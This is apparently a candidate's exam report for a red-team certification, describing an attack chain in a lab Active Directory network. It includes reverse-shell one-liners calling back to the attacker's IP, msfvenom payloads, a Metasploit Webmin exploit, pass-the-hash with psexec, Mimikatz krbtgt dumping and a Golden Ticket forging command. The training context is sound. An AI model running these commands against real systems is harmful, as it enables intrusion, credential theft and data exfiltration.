CRTA EXAM REPORT-2

Certified Red Team Analyst (CRTA) - Exam
Report
Candidate Name: Aditya Gurav

Email Address: adityagurav1712@gmail.com
Exam Date: 01-Dec-2024
Certified Red Team Analyst
(CRTA) - Exam Report
1. Introduction 2
2. Exam Environment Details 2
3. Key Findings 3
4. Detailed Analysis 3
4.1. Initial Access & Reconnaissance 4
4.2. Enumeration 9
4.3. Internal Network Discovery and Pivoting 15
4.4. Internal Network Enumeration and Exploitation 18
4.5. Post-Exploitation 26
4.6. Exploitation of 10.10.10.2 - CHILD.redteam.corp 30
4.7. Post Exploitation of 10.10.10.2 - Active Directory Enumeration 32
4.8. Lateral Movement - Child DC to Parent DC 34
4.9. Exfiltration of Sensitive Data 37
5. Conclusion 39
2 of 53
1. Introduction
This report presents my experience and approach to the Certified Red Teaming
Assessment (CRTA) conducted by Cyber Warfare Labs. The exam is structured
to simulate real-world scenarios, challenging participants to demonstrate
advanced red teaming skills. Throughout the assessment, I navigated tasks
such as enumeration, Pivoting, exploitation, privilege escalation, and lateral
movement, aiming to achieve the objectives set within a controlled
environment.
The CRTA exam provided a unique opportunity to apply theoretical knowledge

to practical situations, emulating challenges I might encounter in real-world
engagements. This report documents my methodologies, the tools I utilized,
and the decisions I made during each phase of the assessment. Additionally,
it reflects my commitment to ethical hacking practices and adherence to
professional standards, showcasing my ability to identify and exploit security
weaknesses effectively.
2. Exam Environment Details
Initial Access Scope of Engagement:
• VPN Connection Established: Yes

• Assigned IP Range: 172.16.25.0/24
3 of 53
3. Key Findings
1. Insecure Services on Exposed Systems

a. Ports 9090 and 10000 on 10.10.10.3 were found running
misconfigured services (Zeus-Admin and Webmin) without proper
access control, leading to unauthorized access.
b. Exploitation of Webmin's RCE vulnerability allowed initial foothold
on the system.
2. Weak Active Directory (AD) Security Configuration
a. The presence of a misconfigured Active Directory structure in the
child domain child.redteam.corp enabled enumeration of sensitive
domain information, such as domain SIDs, using publicly available
tools (PowerView.ps1).
b. Improper protection of sensitive files (e.g., child-admin.keytab)
facilitated extraction of NTLM hashes and escalation of privileges.
3. Insufficient Network Segmentation and Security Controls
a. Lack of proper segmentation allowed lateral movement from the
child domain to the parent domain (RED-DC.redteam.corp) using
techniques like "Overpass the Hash" and the Golden Ticket attack.
b. Kerberos misconfigurations (e.g., exposure of the krbtgt account
hash) were leveraged to forge Kerberos tickets and escalate to
domain admin privileges.
4. Sensitive Information Disclosure
a. Sensitive information, including credit card details, was stored
unencrypted in a file (secret.xml) on the desktop of the parent
domain's Administrator account. This file was accessible due to
weak administrative security practices.
5. Unencrypted Data Transmission and Poor File Permissions
a. Critical files (e.g., child-admin.keytab and secret.xml) were
discovered without encryption or appropriate file permissions,
enabling easy exfiltration by attackers.
4 of 53
4. Detailed Analysis
4.1. Initial Access & Reconnaissance
Tools Used: Nmap, Netcat, msfvenom
Upon successful VPN connection, I was able to access the internal network
range 172.16.25.0/24. Notably, 172.16.25.1 was explicitly out of scope.
I performed an initial Nmap scan to identify live hosts in the network range
172.16.25.0/24 using the following command:
nmap -sn 172.16.25.0/24
As you can see the two ip’s were found which are:-
172.16.25.2 and 172.16.25.3
Next, To gather more information about the open ports and services running
on the host 172.16.25.2, & 172.16.25.3 I conducted a detailed Nmap scan
with the -sC (script scan) and -sV (service version detection) options. This
scan provided additional insights into the services and their versions.
5 of 53
Results:
6 of 53
Findings:
There were a lot of findings on the 172.16.25.2 IP, so I decided to focus on it,
gather information, and gain initial access by exploiting it.
Notably, port 8180 was running Tomcat 5.5, which raised a red flag as this
version might still have known vulnerabilities. I decided to focus on this
service and attempt to gain initial access through it.
(i) Information Gathering on Tomcat (Port 8180)
First, I accessed the Tomcat server by navigating to

http://172.16.25.2:8180\ and began exploring the available services and
potential vulnerabilities. The version of Tomcat running (5.5) is quite old and
is known to have various security flaws.
Upon reviewing the Tomcat installation, I attempted to login using the default
Tomcat credentials (tomcat:tomcat) and successfully gained access to the
7 of 53
Tomcat web application manager interface. This allowed me to deploy a

reverse shell to escalate privileges.
With access to the Tomcat interface, I uploaded a reverse shell. The reverse
shell was crafted with msfvenom to connect back to my attacking machine.
Command Executed:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=172.16.250.48 LPORT=4444

-f raw > shell.jsp
After deploying the reverse shell, I set up a Netcat listener on my local

machine to catch the reverse shell connection.
Command Executed:
nc -lvnp 4444
8 of 53
At this point, I had gained an initial foothold on the target machine as

tomcat55 user
9 of 53
10 of 53
4.2. Enumeration
After gaining initial access via the Tomcat reverse shell, I started exploring
the file system for sensitive information. One of the first files I inspected was
/etc/passwd to enumerate user accounts and gather possible clues.
Command Executed:
cat /etc/passwd
11 of 53
12 of 53
While reviewing the /etc/passwd file, I identified the presence of user

accounts: msfadmin, prod-admin. Additionally, the credentials for
msfadmin were msfadmin:msfadmin, which I planned to test for further
access.
I navigated to the home directories of the identified users and found a file
named credential.txt in the prod-admin user's home directory. This file
contained credentials for two users: support and prod-admin.
Contents of credential.txt file:

Support User Credential:
User support
Pass: support@123
Prod-admin Credential:
User: prod-admin
Pass: Prød!@#$%
13 of 53
14 of 53
Armed with the credentials, I attempted to escalate privileges by logging in

via SSH on port 22 (discovered earlier in the Nmap scan).
Command Attempted for prod-admin:
ssh prod-admin@172.16.25.2 -oHostKeyAlogithms=+ssh-dss
Password: Prød!@#$%
The credentials for prod-admin failed to work for SSH login. I decided to test
the default credentials for the msfadmin user instead.Which i found from
/etc/passwd file
Command Executed for msfadmin:

ssh msfadmin@172.16.25.2 -oHostKeyAlogithms=+ssh-dss
Password: msfadmin
Using the default credentials for msfadmin (msfadmin:msfadmin), I

successfully logged into the machine via SSH. I now had direct access to the
system via SSH as the msfadmin user, providing a more stable shell for further
exploration and exploitation.
15 of 53
4.3. Internal Network Discovery and Pivoting

(i) Inspecting the Network Configuration
While logged in as the msfadmin user, I examined the network interfaces to

gather details about the machine's network connections.
Command Executed:
ip a
16 of 53
From the output, I discovered that the machine was connected to an internal
network (10.10.10.0/24) via the eth1 interface, which was not accessible
directly from my attacking machine.
(ii) Setting Up Pivoting
To gain access to the internal network, I established a SOCKS proxy using the
ssh -D option, allowing traffic to be routed through the msfadmin machine.
Command Executed:
ssh -D 9050 msfadmin@172.16.25.2 -oHostKeyAlgorithms=+ssh-dss
Password: msfadmin
The -D 9050 option established a dynamic SOCKS proxy on port 9050,

enabling me to route my traffic through the msfadmin machine. The additional
-oHostKeyAlgorithms=+ssh-dss option was necessary to handle the host key
algorithm compatibility.
(iii)Accessing the Internal Network via ProxyChains
To utilize the established SOCKS proxy, I configured ProxyChains on my

attacking machine. The configuration file (/etc/proxychains.conf) was updated
to include the following:
[ProxyList]
17 of 53
socks4 127.0.0.1 9050
Once configured, I verified connectivity to the internal network by scanning

the 10.10.10.0/24 network using ProxyChains.
18 of 53
Command Executed:
proxychains nc 10.10.10.2 445
I successfully pivoted into the 10.10.10.0/24 internal network and confirmed

the ability to interact with hosts and services within it. This step allowed
further enumeration and exploitation of the internal network.
4.4. Internal Network Enumeration and Exploitation
Tools Used: nmap, SSH , proxychains, curl , metasploit
(i) Host Discovery in the Internal Network
After successfully pivoting into the internal network, I conducted a host

discovery scan to identify live hosts.
Command Executed:
nmap -sP 10.10.10.0/24
19 of 53
The following hosts were identified as active in the internal network:
• 10.10.10.1
• 10.10.10.2
• 10.10.10.3
• 10.10.10.4
• 10.10.10.5
(ii) Service Enumeration
A targeted scan was performed on all active hosts to enumerate open ports
and services.
Command Executed:
nmap -sC -sV (ip)
20 of 53
21 of 53
I checked all the open ports on the hosts but found nothing unusual. After
spending a few hours, I noticed that the services on 10.10.10.3 (ports 9090
and 10000) were unclear, and no version details were available. This made
me suspicious and needed further investigation.
(iii) Investigating Services on 10.10.10.3
Using curl, I queried the services on ports 9090 and 10000 for additional
information.
Command Executed:
Proxychains curl https://10.10.10.3:10000 -k
22 of 53
In the response's title tag, I found 'Login to Webmin,' making it clear that port
10000 was hosting a Webmin service. Further research on Webmin revealed
known vulnerabilities.
(iv) Exploitation of Webmin
After identifying the service as Webmin, I used Metasploit to exploit a known

remote code execution (RCE) vulnerability in Webmin. The exploit targeted a
vulnerable package updates feature in Webmin.I used support user creds
which were found in credential.txt file previously
23 of 53
Command Executed:
msfconsole
Search webmin
use exploit/linux/http/webmin_packageup_rce
set RHOSTS 10.10.10.3
set RPORT 10000
set SSL true
set LHOST 172.16.250.48
set Username support
set PASSWORD support@123
set Proxies socks4:127.0.0.1:9050
set ReverseallowProxy true
exploit
24 of 53
With this, I gained access to the 10.10.10.3 machine. Further enumeration

and exploitation of this machine facilitated the compromise of additional
systems in the internal network.
(v) Gaining Interactive Shell Access
After successfully exploiting the Webmin service and gaining initial access to
the system, I proceeded to obtain an interactive reverse shell for further
control and enumeration.
25 of 53
Using the compromised session, I executed the following command to

establish a reverse shell to the attacker's system:
Command Executed on the Target System:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 172.16.250.48 4445

>/tmp/f
This command performs the following actions:
• Removes any existing file named /tmp/f (to avoid conflicts).

• Creates a named pipe (mkfifo /tmp/f).
• Uses cat to read data from the named pipe and passes it to a shell
(/bin/sh -i).
• Redirects the output to nc, which sends it to the attacker's listener at IP
172.16.250.48 on port 4445.
• Redirects the reverse connection's output to the named pipe, completing
the loop.
Command Executed on the Attacker's System:
nc -lvnp 4445
On the attacker's machine, a Netcat listener was set up to capture the

incoming reverse shell. Upon connection, the shell provided privileged access
to the target machine, confirming successful execution.
26 of 53
This reverse shell enabled interactive control over the compromised host,
facilitating further enumeration and post-exploitation activities.
4.5. Post-Exploitation
During post-exploitation information gathering, a file named child-

admin.keytab was discovered on the compromised system. This file contained
critical authentication data. The following steps were performed to extract the
NTLM hash from the child-admin.keytab file.
27 of 53
Steps to Extract NTLM Hash
(i) Analyzing and Preparing the child-admin.keytab File
View the file content in Base64 encoding:
cat child-admin.keytab | base64
Copy the Base64-encoded content and save it to a new file on the attacker
machine:
28 of 53
echo
"BQIAAABAAAEAEkNISUxELlJFRFRFQU0uQ09SUAALY2hpbGQtYWRtaW4AAAABXxNIZwEAF
wAQ26wrV6c7uINCJljSrqNpZwAAAEAAAQASQ0hJTEQuUkVEVEVBTS5DT1JQAAtjaGlsZC1
hZG1pbgAAAAFfE0hnAQAXABDbrCtXpzu4g0ImWNKuo2ln" > keytab.b64
Decode the Base64 content back into its original format:
base64 -d keytab.b64 > child-admin.keytab
Confirm the file type:
file child-admin.keytab
(ii) Using KeyTabExtract to Extract NTLM Hash
The KeyTabExtract tool was utilized to extract the NTLM hash from the child-
admin.keytab file.
Clone the KeyTabExtract repository:
git clone https://github.com/sosdave/KeyTabExtract
Navigate to the directory:
29 of 53
cd KeyTabExtract
Execute the following command to extract the NTLM hash:
python3 keytabextract.py /home/aditya/Desktop/CRTA_EXAM/child-

admin.keytab
Output:
NTLM HASH : dbac2b57a73bb883422658d2aea36967
The NTLM hash extracted from the child-admin.keytab file provides critical
credentials for potential further exploitation, including lateral movement or
privilege escalation.
30 of 53
4.6. Exploitation of 10.10.10.2 - CHILD.redteam.corp

Target Details
• IP Address: 10.10.10.2
• Domain: CHILD.redteam.corp
• Service Exploited: SMB (Server Message Block)
• Vulnerability Type: Overpass the Hash
Discovery of Vulnerability
The NTLM hash dbac2b57a73bb883422658d2aea36967 for the user child-

admin was obtained from the child-admin.keytab file on the 10.10.10.3
system during post-exploitation. This hash was identified as valid and usable
for authentication over SMB, allowing unauthorized access using the
"Overpass the Hash" technique.
Exploit Steps
(i) Overpass the Hash with impacket-psexec

The impacket-psexec utility was used to authenticate with the NTLM hash and
gain shell access to the target system.
Command executed:
proxychains impacket-psexec child-admin@10.10.10.2 -
hashes :dbac2b57a73bb883422658d2aea36967
31 of 53
(ii) Reverse Shell Deployment

A reverse shell was prepared using the msfvenom utility to establish a
persistent connection back to the attacker machine.
Command to generate reverse shell executable:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=172.16.250.48
LPORT=4447 -f exe > msf.exe
The Invoke-WebRequest PowerShell command was used to download the

reverse shell directly onto the target system.
On the attacker's machine, the reverse shell executable was hosted using a
simple Python HTTP server:
python3 -m http.server 8080
32 of 53
On the target machine, the following command was executed via the
interactive shell:
iwr -Uri http://172.16.250.48:8000/msf.exe -OutFile

C:\Users\Public\Downloads\msf.exe
The reverse shell executable was then executed & The attacker machine was
prepared to capture the reverse shell:
nc -lvnp 4447
The use of the impacket-psexec tool and the NTLM hash allowed successful
exploitation of the SMB service on 10.10.10.2, leading to a foothold. The
deployment of a reverse shell enabled interactive access, providing further
opportunities for privilege escalation and lateral movement.
4.7. Post Exploitation of 10.10.10.2 - Active Directory

Enumeration
Tools Used: PowerView.ps1 , Mimikatz
Pillaging: SID Enumeration
Using the PowerView script (powerview.ps1), the Security Identifier (SID) for
the following domains was successfully retrieved:
1 Domain: child.redteam.corp
33 of 53
• SID: S-1-5-21-2332039752-785340267-2377082902
2 Domain: redteam.corp
• SID: S-1-5-21-1882140339-3759710628-635303199
Commands Used:
Import-Module .\PowerView.ps1 Import-Module .\PowerView.ps1
Get-DomainSID -Domain child.redteam.corp
Get-DomainSID -Domain redteam.corp
LSADump - Active Directory
To obtain the Kerberos krbtgt hash, Mimikatz was executed on the

compromised system. Mimikatz was transferred using iwr in the same way as
msf.exe was transferred.
Command executed on mimikatz:

lsadump::lsa /patch
34 of 53
Krbtgt hash : 24dd6646fd7e11b60b6a9508e6fe7e5a
35 of 53
4.8. Lateral Movement - Child DC to Parent DC

Target: 192.168.50.2 - RED-DC.redteam.corp
Service Exploited: Kerberos Authentication Service
Discovery of Vulnerability: After successfully extracting the krbtgt hash from the
child.redteam.corp domain using Mimikatz, a Golden Ticket Attack was planned and executed.
This vulnerability leverages the compromised krbtgt hash to generate forged Kerberos tickets,
granting unauthorized access to services within the domain.
Exploitation - Golden Ticket Attack
Tools Used: Mimikatz
Golden Ticket Forging Command: The following command was used to

forge a Kerberos Golden Ticket that allowed lateral movement from the child
domain to the parent domain:
kerberos::golden /user:Administrator /domain:child.redteam.corp
/sid:S-1-5-21-2332039752-785340267-2377082902 /sids:S-1-5-21-
1882140339-3759710628-635303199-519
/krbtgt:24dd6646fd7e11b60b6a9508e6fe7e5a /ptt
Parameters Explained:
1. /user:Administrator
• Specifies the user account for the forged ticket (Administrator).
2. /domain:child.redteam.corp
• Specifies the child domain where the ticket is generated.
3. /sid:S-1-5-21-2332039752-785340267-2377082902
• SID of the child domain (child.redteam.corp).
4. /sids:S-1-5-21-1882140339-3759710628-635303199-519
• SID of the Enterprise Admins group in the parent domain
(redteam.corp).
5. /krbtgt:24dd6646fd7e11b60b6a9508e6fe7e5a
• The hash of the krbtgt service account for the child domain.
6. /ptt
36 of 53
• Injects the forged ticket into the current session.
Steps Executed
1. Generate and Inject Golden Ticket:

• The Golden Ticket was generated and injected into the session using the above
command.
2. Access Parent DC Resources:
• After injecting the ticket, access to the parent domain's shared directory was
verified:
dir \\RED-DC.redteam.corp
37 of 53
4.9. Exfiltration of Sensitive Data
Objective:
To locate and extract the sensitive file secret.xml from the parent domain
controller RED-DC.redteam.corp.
Steps to Locate and Read the File
File Discovery:
After gaining access to the parent domain controller via the Golden Ticket
Attack, the file secret.xml was located in the following directory:
\\RED-DC.redteam.corp\C$\Users\Administrator\Desktop\
Command used to find file:
Get-ChildItem –Path \\RED-DC.redteam.corp\C$\ Recurse –Filter secret.xml
Explanation of the Command:
1. Get-ChildItem: Retrieves the items (files and directories).

2. –Path \\RED-DC.redteam.corp\C$\: Specifies the UNC path to the
C$ share of the remote server.
3. -Recurse: Searches through all subdirectories within the specified path.
4. –Filter secret.xml: Filters the results to include only files named
secret.xml
38 of 53
Command to Read File Contents
Using PowerShell, the content of secret.xml was extracted directly:
Get-Content \\RED-
DC.redteam.corp\C$\Users\Administrator\Desktop\secret.xml
39 of 53
40 of 53
The credit card information stored in the file was extracted.
5. Conclusion
The assessment of the simulated Active Directory environment highlighted

several critical vulnerabilities and misconfigurations that could be exploited to
gain unauthorized access, escalate privileges, and exfiltrate sensitive
information. The exploitation chain demonstrated weaknesses in service
configurations, credential management, domain trust relationships, and
monitoring mechanisms.
Starting with the exploitation of tomcat service on external machine and

Webmin on the child domain controller, the attack progressed through
41 of 53
improper Active Directory security configurations, leading to lateral movement

and eventual compromise of the parent domain controller. The retrieval of
sensitive files such as secret.xml containing credit card details demonstrated
the severe impact of storing sensitive data without encryption or proper access
control.
The use of advanced techniques like the Golden Ticket attack revealed a lack
of sufficient protections for Kerberos authentication. Additionally, the absence
of robust network segmentation and security monitoring allowed the attacker
to traverse the network undetected and access critical resources in the parent
domain.
These findings underline the importance of implementing and maintaining a

comprehensive security posture, including hardening AD environments,
enforcing strict access control policies, securing sensitive files, and
implementing real-time monitoring solutions to detect and mitigate potential
threats. By addressing these vulnerabilities, organizations can significantly
reduce the risk of compromise and protect critical infrastructure and sensitive
data from adversaries.
42 of 53
43 of 53
44 of 53
45 of 53
46 of 53
47 of 53
48 of 53
49 of 53
50 of 53
51 of 53
52 of 53
53 of 53

CRTA EXAM REPORT-2

Uploaded by

Document Informationclick to expand document informationCRTA Exam report

Document Informationclick to expand document information

Copyright:

Available Formats

CRTA EXAM REPORT-2

Uploaded by

Document Information

Copyright

Available Formats

Share this document

Share or Embed Document

Sharing Options

Did you find this document useful?

Is this content inappropriate?

Copyright:

Available Formats

CRTA EXAM REPORT-2

Uploaded by

Copyright:

Available Formats

Certified Red Team Analyst (CRTA) - Exam

Candidate Name: Aditya Gurav

The CRTA exam provided a unique opportunity to apply theoretical knowledge

2. Exam Environment Details

Initial Access Scope of Engagement:

• VPN Connection Established: Yes

1. Insecure Services on Exposed Systems

nmap -sn 172.16.25.0/24

(i) Information Gathering on Tomcat (Port 8180)

First, I accessed the Tomcat server by navigating to

Tomcat web application manager interface. This allowed me to deploy a

msfvenom -p java/jsp_shell_reverse_tcp LHOST=172.16.250.48 LPORT=4444

After deploying the reverse shell, I set up a Netcat listener on my local

At this point, I had gained an initial foothold on the target machine as

While reviewing the /etc/passwd file, I identified the presence of user

Contents of credential.txt file:

Armed with the credentials, I attempted to escalate privileges by logging in

Command Attempted for prod-admin:

ssh prod-admin@172.16.25.2 -oHostKeyAlogithms=+ssh-dss

Command Executed for msfadmin:

Using the default credentials for msfadmin (msfadmin:msfadmin), I

4.3. Internal Network Discovery and Pivoting

While logged in as the msfadmin user, I examined the network interfaces to

(ii) Setting Up Pivoting

The -D 9050 option established a dynamic SOCKS proxy on port 9050,

(iii)Accessing the Internal Network via ProxyChains

To utilize the established SOCKS proxy, I configured ProxyChains on my

socks4 127.0.0.1 9050

Once configured, I verified connectivity to the internal network by scanning

proxychains nc 10.10.10.2 445

I successfully pivoted into the 10.10.10.0/24 internal network and confirmed

4.4. Internal Network Enumeration and Exploitation

Tools Used: nmap, SSH , proxychains, curl , metasploit

(i) Host Discovery in the Internal Network

After successfully pivoting into the internal network, I conducted a host

nmap -sP 10.10.10.0/24

The following hosts were identified as active in the internal network:

(ii) Service Enumeration

nmap -sC -sV (ip)

(iii) Investigating Services on 10.10.10.3

Proxychains curl https://10.10.10.3:10000 -k

(iv) Exploitation of Webmin

After identifying the service as Webmin, I used Metasploit to exploit a known

set RHOSTS 10.10.10.3

set RPORT 10000

set SSL true

set LHOST 172.16.250.48

set Username support

set PASSWORD support@123

set Proxies socks4:127.0.0.1:9050

set ReverseallowProxy true

With this, I gained access to the 10.10.10.3 machine. Further enumeration

(v) Gaining Interactive Shell Access

Using the compromised session, I executed the following command to

Command Executed on the Target System:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 172.16.250.48 4445

This command performs the following actions:

• Removes any existing file named /tmp/f (to avoid conflicts).